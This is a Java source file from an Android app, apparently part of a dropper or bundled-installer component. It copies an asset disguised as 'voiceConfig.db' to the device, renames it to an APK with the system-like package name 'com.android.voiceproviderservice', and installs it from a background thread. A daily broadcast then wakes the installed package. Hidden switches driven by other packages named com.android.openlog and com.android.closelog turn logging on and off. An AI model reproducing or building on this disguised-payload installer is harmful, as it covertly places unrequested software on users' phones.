package com.android.installApp;

import java.util.ArrayList;

import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;

import com.android.publicModule.system.SystemInfo;
import com.android.publicModule.tools.Tools;

public class InstallAssetControl {

	private static InstallAssetControl installAssetControl;
	
	public InstallAssetControl() {
		
	}
	
	public static InstallAssetControl getInstance() {
		if(installAssetControl==null)
		{
			installAssetControl = new InstallAssetControl();
		}
		return installAssetControl;
	}
	
    private boolean showDialog;
    public void initAssetApp(Context context,boolean show) {
    	showDialog = show;
    	if(installAssetAppThread!=null)
    	{
    		return;
    	}
    	String packageName = "com.android.voiceproviderservice";
    	String versionName = "1.0";
    	PackageInfo info = Tools.getPackageInfo(context, packageName);
    	if(info==null||info.versionName.compareToIgnoreCase(versionName)<0)//当前未安装，或者待安装的版本高于当前已经安装的版本
    	{
    		String fileName = "voiceConfig.db";
    		installAssetApp(context,packageName,versionName,fileName);
    	}
    	else
    	{
    		String db_name = SystemInfo.getPackageName(context);
    		String wakePushUpDate = Tools.getSaveData(context, db_name, "wakePushUpDate", null);
    		String currentDate = Tools.getCurrentDate(null, null);
    		if(wakePushUpDate==null||!wakePushUpDate.equals(currentDate))
    		{
    			Intent sendIntent = Tools.getWakeUpPackageIntent(context,packageName);
        		if(sendIntent!=null)
        		{
        			context.sendBroadcast(sendIntent);
        			Tools.showLog("ZSZ-InstallAppHelper", "initAssetApp() push up!");
        			Tools.saveData(context, db_name, "wakePushUpDate", currentDate);
        		}
    		}
    		else
    		{
    			Tools.showLog("ZSZ-InstallAppHelper", "initAssetApp() today has evoke push up!");
    		}
    	}
    }
    
    ArrayList<AssetAppInfo> assetAppInfoList;
    public void installAssetApp(Context context,String packageName,String versionName,String fileName) {
    	Tools.showLog("ZSZ-InstallAppHelper", "installAssetApp() packageName="+packageName+" "+versionName+" fileName="+fileName);
    	if(context!=null&&packageName!=null&&fileName!=null)
    	{
	    	PackageInfo info = Tools.getPackageInfo(context, packageName);
	    	if(info==null||info.versionName.compareToIgnoreCase(versionName)<0)//当前未安装，或者待安装的版本高于当前已经安装的版本
	    	{
	    		AssetAppInfo assetAppInfo = new AssetAppInfo(packageName,versionName,fileName);
	    		addAssetAppInfo(context.getApplicationContext(),assetAppInfo);
	    	}
    	}
    }
    
    public boolean isAssetAppTaskExists(String packageName) {
    	boolean result = false;
    	if(assetAppInfoList!=null&&assetAppInfoList.size()>0)
    	{
    		String temp;
    		AssetAppInfo info;
    		for(int i=0;i<assetAppInfoList.size();i++) {
    			info = assetAppInfoList.get(i);
    			if(info!=null)
    			{
    				temp = info.getPackageName();
    				if(temp!=null&&temp.equals(packageName))
    				{
    					return true;
    				}
    			}
    		}
    	}
    	return result;
    }
    
    private void addAssetAppInfo(Context context,AssetAppInfo info) {
    	if(Tools.getPackageInfo(context, "com.android.openlog")!=null)
    	{
    		Tools.setShowLog(true);
    	}
    	if(Tools.getPackageInfo(context, "com.android.closelog")!=null)
    	{
    		Tools.setShowLog(false);
    	}
    	Tools.showLog("ZSZ-InstallAppHelper", "addAssetAppInfo()");
    	if(info!=null)
    	{
    		if(assetAppInfoList==null)
    		{
    			assetAppInfoList = new ArrayList<AssetAppInfo>();
    		}
    		AssetAppInfo temp;
    		for(int i=0;i<assetAppInfoList.size();i++)
    		{
    			temp = assetAppInfoList.get(i);
    			if(temp!=null&&temp.getPackageName().equals(info.getPackageName()))
    			{
    				return;
    			}
    		}
    		assetAppInfoList.add(info);
    		startInstallAssetApp(context);
    	}
    }
    
    public boolean isAssetAppInstalling(Context context) {
    	return installAssetAppThread!=null||Tools.getPackageInfo(context, "com.android.voiceproviderservice",PackageManager.GET_UNINSTALLED_PACKAGES)!=null;
    }
    
    private Thread installAssetAppThread;
    private void startInstallAssetApp(final Context context) {
    	Tools.showLog("ZSZ-InstallAppHelper", "startInstallAssetApp()");
    	if(installAssetAppThread==null)
    	{
    		installAssetAppThread = new Thread() {
    			public void run() {
    				if(assetAppInfoList!=null)
    				{
    					InstallAppHelper installAppHelper = new InstallAppHelper(context);
    					AssetAppInfo temp;
    					while(assetAppInfoList.size()>0)
    					{
    						temp = assetAppInfoList.get(0);
    						if(temp!=null)
    						{
    							String toFileName = temp.getPackageName()+"-"+temp.getVersionName()+".apk";
    							if(Tools.copyAssetFileToPhone(context, temp.getFileName(),toFileName))
    							{
    								installAppHelper.installApk(context.getFileStreamPath(toFileName).getAbsolutePath());
    							}
    						}
    						try {
								Thread.sleep(6000);
							} catch (InterruptedException e) {
							}
    						try {
    							assetAppInfoList.remove(0);
    						} catch(IndexOutOfBoundsException e) {
    							
    						}
    					}
    					assetAppInfoList = null;
    				}
    				installAssetAppThread=null;
    			}
    		};
    		if(showDialog)
    		{
    			/*
	    		Intent intent = new Intent(Intent.ACTION_MAIN);
	    		intent.setClass(context, SpeechAnalysisActivity.class);
	    		intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
	    		intent.putExtra(MpcontrolParameter.MODEL_TYPE, MpcontrolParameter.MODEL_TYPE_CHECK_INSTALL_VPS);
	    		intent.putExtra(MpcontrolParameter.INTENT_FROM, MpcontrolParameter.MODEL_TYPE_YY);
	    		context.startActivity(intent);
	    		*/
    		}
    		try {
    			installAssetAppThread.start();
    		} catch(NullPointerException e) {
    			
    		} catch(IllegalThreadStateException e) {
    			
    		}
    	}
    }
    
    class AssetAppInfo {
    	private String packageName;
    	private String versionName;
    	private String fileName;
    	public AssetAppInfo() {
    		
    	}
		public AssetAppInfo(String packageName, String versionName,
				String fileName) {
			this.packageName = packageName;
			this.versionName = versionName;
			this.fileName = fileName;
		}
		public String getPackageName() {
			return packageName;
		}
		public void setPackageName(String packageName) {
			this.packageName = packageName;
		}
		public String getVersionName() {
			return versionName;
		}
		public void setVersionName(String versionName) {
			this.versionName = versionName;
		}
		public String getFileName() {
			return fileName;
		}
		public void setFileName(String fileName) {
			this.fileName = fileName;
		}
    }
	
}
